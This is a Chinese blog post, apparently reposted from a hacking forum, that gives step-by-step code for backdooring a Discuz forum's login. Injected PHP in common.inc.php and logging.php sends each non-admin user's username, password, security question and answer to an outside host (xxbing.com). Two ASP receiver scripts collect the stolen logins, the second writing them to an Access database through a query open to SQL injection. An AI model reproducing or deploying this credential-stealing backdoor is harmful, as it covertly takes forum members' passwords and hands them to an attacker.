DZ记录密码并写入数据库

 在T00LS看到xxbing牛写了个DZ记录密码的东东..

这里是xxbing牛的
include/common.inc.php 里面插一个自定义函数。
放在 41-53行。

function request_by_other($remote_server,$post_string){
    $context = array(
        'http'=>array(
            'method'=>'POST',
            'header'=>'Content-type: application/x-www-form-urlencoded'."\r\n".
                      'User-Agent : xxbing\'s fuckyou!!!'."\r\n".
                      'Content-length: '.strlen($post_string)+8,
            'content'=>'mypost='.$post_string)
        );
    $stream_context = stream_context_create($context);
    $data = file_get_contents($remote_server,FALSE,$stream_context);
    return $data;
}

找到根目录下的 logging.php文件。搜索下面代码。

$ucresult = uc_user_login($username, $password, $loginfield == 'uid');
然后在后面插上下面的代码。
        if($username!='admin'){
                $showtime=gmdate("Ynj H:i:s",time()+8*3600);
                        if($answer==''){
                        $answer='无!';
                        }
                //name1无用。但是必须�
                $post_string = 'name1='.$name2.'&name='.$username.'&password='.$password.'&questionid='.$questionid.'&answer='.$answer.'&showtime='.$showtime.'&from='.$_SERVER['SERVER_NAME'];
                request_by_other('http://www.xxbing.com/fasong.asp',$post_string);
                                                        }

接受端用asp写的。
asp代码如下:
<%
'接收文件
'body0 = request.form("name1")
body1 = request.form("name")
body2 = request.form("password")
body3 = request.form("questionid")
body4 = request.form("answer")
body5 = request.form("showtime")
body7 = request.form("from")
body6 = "账号:"&body1 &"---密码:"& body2 &"---问题ID:"& body3 &"---答案:"& body4 &"---时间:"& body5 &"---来源:" & body7

'response.write body6
FileName = date()&".txt"
'这里之所以要替换,是为了兼容IIS7的环境。
FileName = Replace(FileName,"/","-")

if body6 <>"" then
Call CreateFile(body6,FileName)
end if

Sub CreateFile(body,FileName)
Dim fso, tf ,cf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.openTextFile(server.mappath(FileName),8,True,0)
tf.WriteLine body
tf.WriteLine "----------------"
tf.Close
set fso = nothing
End Sub
%>


感觉不错..但是一个个文件翻很纠结..于是俺稍微把最后的asp修改了下.把数据写入数据库

<%
On Error Resume Next
'接收
body0 = request.form("name1")
'fuck
body1 = request.form("name")
'name
body2 = request.form("password")
'pass
body3 = request.form("questionid")
'askid
body4 = request.form("answer")
'answer
body5 = request.form("showtime")
'thetime
body6 = request.form("from")
'fuckwhere
'判断下
fuck=body0&body1&body2&body3&body4&body5&body6
if fuck<>"" then
'写入数据库
set conn=server.CreateObject("adodb.connection")
conn.open"driver={microsoft access driver (*.mdb)};dbq=" & server.MapPath("data.mdb")
dim sql
sql="insert into fuckdz(fuck,name,pass,askid,answer,thetime,fuckwhere) values('"& body0 &"','"& 

body1 &"','"& body2 &"','"& body3 &"','"& body4 &"','"& body5 &"','"& body6 &"')"
conn.execute(sql)
end if
'by yezi.us
%>

你可能感兴趣的:(数据库,职场,休闲,dz,DZ记录密码)